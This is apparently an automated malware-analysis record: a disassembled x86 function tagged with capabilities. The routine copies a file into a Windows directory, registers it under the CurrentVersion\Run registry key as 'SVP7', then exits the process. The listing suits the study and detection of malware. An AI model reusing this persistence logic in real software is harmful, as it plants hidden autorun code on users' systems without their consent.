Function at 0x1000b4b2
Capabilities:
Persist via run registry key
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x213]
mov byte [ebp - 0x214], bl
mov esi, 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x214]
push esi
push eax
push ebx
call dword [0x10027260]
call dword [0x1002721c]
push eax
push ebx
push 0x1f0fff
call dword [0x10027230]
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], esi
push ecx
lea ecx, [ebp - 0x214]
push ecx
push ebx
push eax
call dword [0x10027240]
lea eax, [ebp - 0x214]
push eax
call dword [0x100273a4]
push ebx
lea eax, [ebp - 0x110]
push 0x1c
push eax
push ebx
call dword [0x1002738c]
push ebx
lea eax, [ebp - 0x318]
push 0x1c
push eax
push ebx
call dword [0x1002738c]
lea eax, [ebp - 0x110]
push eax
call dword [0x10027398]
test eax, eax
lea eax, [ebp - 0x110]
push eax
je 0x1000b57c
call dword [0x100273a0]
lea eax, [ebp - 0x318]
push eax
call dword [0x100273a0]
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x110]
jmp 0x1000b5bf
mov esi, dword [sym.imp.SHLWAPI.dll_PathStripToRootA]
call esi
lea eax, [ebp - 0x110]
push 0x100250a0
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x318]
push eax
call esi
push str.Windows_
lea eax, [ebp - 0x318]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x110]
pop ecx
push eax
call dword [0x10027398]
test eax, eax
jne 0x1000b6fd
cmp dword [0x10027578], 1
jne 0x1000b5ef
push 0x10027144
call fcn.10005afc
lea eax, [ebp - 0x318]
push 0x100250b8
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x318]
pop ecx
push ebx
push eax
push 0x100250c4
call dword [0x1002720c]
lea eax, [ebp - 0x110]
push ebx
push eax
lea eax, [ebp - 0x214]
push eax
call dword [0x1002720c]
test eax, eax
je 0x1000b6fd
cmp dword [0x1002711c], 1
jne 0x1000b640
call fcn.1000343e
movzx eax, word [0x100273d6]
push eax
lea eax, [ebp - 0x214]
push eax
call dword [0x10027250]
movzx eax, word [0x100273d6]
push eax
lea eax, [ebp - 0x110]
push eax
call dword [0x10027250]
push 0xb
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionRun
pop ecx
lea edi, [ebp - 0x418]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x34
xor eax, eax
pop ecx
lea edi, [ebp - 0x3ea]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 8]
mov dword [ebp - 8], 2
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0xf003f
push ebx
push ebx
lea eax, [ebp - 0x418]
push ebx
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x110]
push eax
push 1
push ebx
push str.SVP7
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push ebx
push ebx
lea eax, [ebp - 0x110]
push ebx
push eax
push ebx
push ebx
call dword [0x10027390]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x1002756c], 1
jne 0x1000b70b
call fcn.100038d7
call fcn.1000b079
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret